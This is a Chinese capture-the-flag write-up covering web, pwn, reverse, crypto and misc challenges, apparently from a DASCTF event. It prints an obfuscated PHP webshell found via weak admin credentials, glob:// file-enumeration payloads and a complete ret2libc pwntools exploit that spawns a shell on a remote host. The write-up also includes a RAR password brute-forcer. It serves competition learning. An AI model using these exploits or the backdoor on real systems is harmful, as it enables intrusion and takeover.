喜提榜一
Web web1 flag在请求头中
web2 扫描目录得到后台路径/admin
用admin,admin888弱口令进入后台
在网站安全一栏中使用检测木马功能,发现后门
使用文件管理功能查看木马文件,发现被混淆了
1 2 3 4 5 6 7 8 9 10 11 <?php $mt   = "mFsKCleRfU" ;$ojj  = "IEBleldle" ;$hsa  = "E9TVFsnd2VuJ10p" ;$fnx  = "Ow==" ;$zk   = str_replace ( "d" , "" , "sdtdrd_redpdldadcde"  );$ef   = $zk ( "z" , "" , "zbazsze64_zdzeczodze"  );$dva  = $zk ( "p" , "" , "pcprpepaptpe_fpupnpcptpipopn"  );$zvm  = $dva ( '' , $ef ( $zk ( "le" , "" , $ojj  . $mt  . $hsa  . $fnx  ) ) );$zvm ();?> 
 
str_replace先将sdtdrd_redpdldadcde中的d替换为空,为str_replace 同理又是两个替换操作 最后将$ojj $mt $hsa $fnx 拼接,替换le,base64解码,创建函数,得到 @eval($_POST['wen']);
web3 file_get_contents读文件 读取常用的几个文件,flag,flag.txt,flag.php 发现提示index999.php
再读index999.php看到源码
可以通过glob://伪协议和?去逐个匹配文件名 payload:
1 2 http: //1.13.195.28:20001/index 999.php?path=glob: /// ?? ?? ?? ?? ?? ?? ?? ?? http: //1.13.195.28:20001/index 999.php?path=glob: /// ?? ?? ?? ?? ?? ?? ?? ?? /?? ?? ?? ?
 
读到flag位置和文件名为/13f95a7112369fb4/flaaaag
在使用file_get_contents读文件
PWN pwn2 限制了 输入长度 要小于256
因为第二个参数时无符号类型 所以可以使用整数漏洞 绕过长度限制
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from  pwn import  *from  LibcSearcher import  * e=ELF('pwn12' ,checksec=0 ) p=remote('1.13.195.28' ,10000 ) got='printf'  printplt=e.plt['printf' ] getgot=e.got[got] main=0x400713  ret=0x000000000040028c  pop_rdi=0x0000000000400863  p.sendlineafter('length :' ,'-1' ) p.read() p.sendline(b'a' *0x130 +b'bbbbbbbb' +p64(ret)+p64(pop_rdi)+p64(getgot)+p64(printplt)+p64(main)) p.readline() d=u64(p.readuntil(b'\x7f' ).ljust(8 ,b'\x00' ))print (hex (d)) libc=LibcSearcher(got,d) off=d-libc.dump(got) sys_add=off+libc.dump('system' ) bin_add=off+libc.dump('str_bin_sh' ) p.sendlineafter('length :' ,'-1' ) p.sendline(b'a' *0x130 +b'bbbbbbbb' +p64(ret)+p64(pop_rdi)+p64(bin_add)+p64(sys_add)+p64(main)) p.interactive()
 
RE reverse2 file查看文件类型,64位,用ida64打开 F5 得到gHe6gIrSlYUqkGPeg4KNo4Vql4g6g4UqgHgHl4JNonBhlbk+och= 常规base解不出来,应该是换表了 查看字符串 发现base64表
解密脚本
1 2 3 4 5 6 7 8 9 import  base64import  string str1 = "gHe6gIrSlYUqkGPeg4KNo4Vql4g6g4UqgHgHl4JNonBhlbk+och="  string1 = "3ZAnJVbMd/zEkolRBDW4KUYT0ga1PF9j86qwuXHciCOfr2tLmexGhpSI+NQ5y7sv"  string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print  (base64.b64decode(str1.translate(str .maketrans(string1,string2))))
 
Crypto crypto1 base循环
crypto2 算式的结果有正确的有错误的 所以将结果的true和false导出为二进制 然后将二进制转16进制,最后再转字符串 脚本如下
1 2 3 4 5 6 7 f=open ('1w.txt' ) d=f.read() d=d.split('\n' ) e='' for  i in  d:     e=e+str (int (eval (i)))print (hex (int (e,2 ))[2 :].strip('L' ).decode('hex' ))
 
crypto3 e很小,低指数攻击 脚本如下
1 2 3 4 5 6 7 8 9 10 11 import  gmpy2 n=0x86f4be77b79e166a6311e7982ba2e5ff479db93a01c56034479a9e35382293c35769da222974e9425829099aa4fe4f41185283866202042b356194bab312e6ed2fb0b10b1b74767dc1cc5306872d33b1f3b75612c594751ec70e4cf5fccc6fceafe0401648869cc40425a176ab70286d92a29dfd675f2384c9383e0a9750b25b  e=0x3  c=0x10652cdf7ed2bc53f58b321f476c3a3cf3281e541f4d533a73a0fcbf525230f2e01c183dee660676317ea99250202548e5525b0c14adbeb77d4fa7e2e1d339  i=0 while  1 :     if  (gmpy2.iroot(c+i*n,e)[1 ]==1 ):         print ( gmpy2.iroot(c+i*n,e)[0 ])         print (i)         break      i=i+1 
 
 十进制转字符串 md5加密后提交
MISC misc1 docx本质上是一个压缩包 在media下存在包含flag的图片
misc2 尝试修改高度 得到密码
binwalk分离出一个压缩包
写脚本爆破密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  rarfile,timeimport  threading,os r=rarfile.RarFile('2EDC.rar' )def  decode (pwd ):     global  r     try :         r.extractall(pwd=pwd)         print (pwd)         os._exit(0 )     except  Exception as  e:         print (e,pwd)         pass  a='qQaAzZwWsSxX' for  i in  a:     for  j in  a:         if  j.lower() in  (i).lower() :             continue          for  k in  a:             if  k.lower() in  (i+j).lower():                 continue              for  q in  a:                 if  q.lower() in  (i+j+k).lower():                     continue                  for  z in  a:                     if  z.lower() in  (i+j+k+q).lower():                         continue                      for  x in  a:                         if  x.lower() in  (i+j+k+q+z).lower():                             continue                          threading.Thread(target=decode,args=(i+j+k+q+z+x,)).start()                         time.sleep(0.01 )
 
跑出结果 解压得到flag:DASCTF{f457b6a30c5b07db78e6e7562e93b4cd}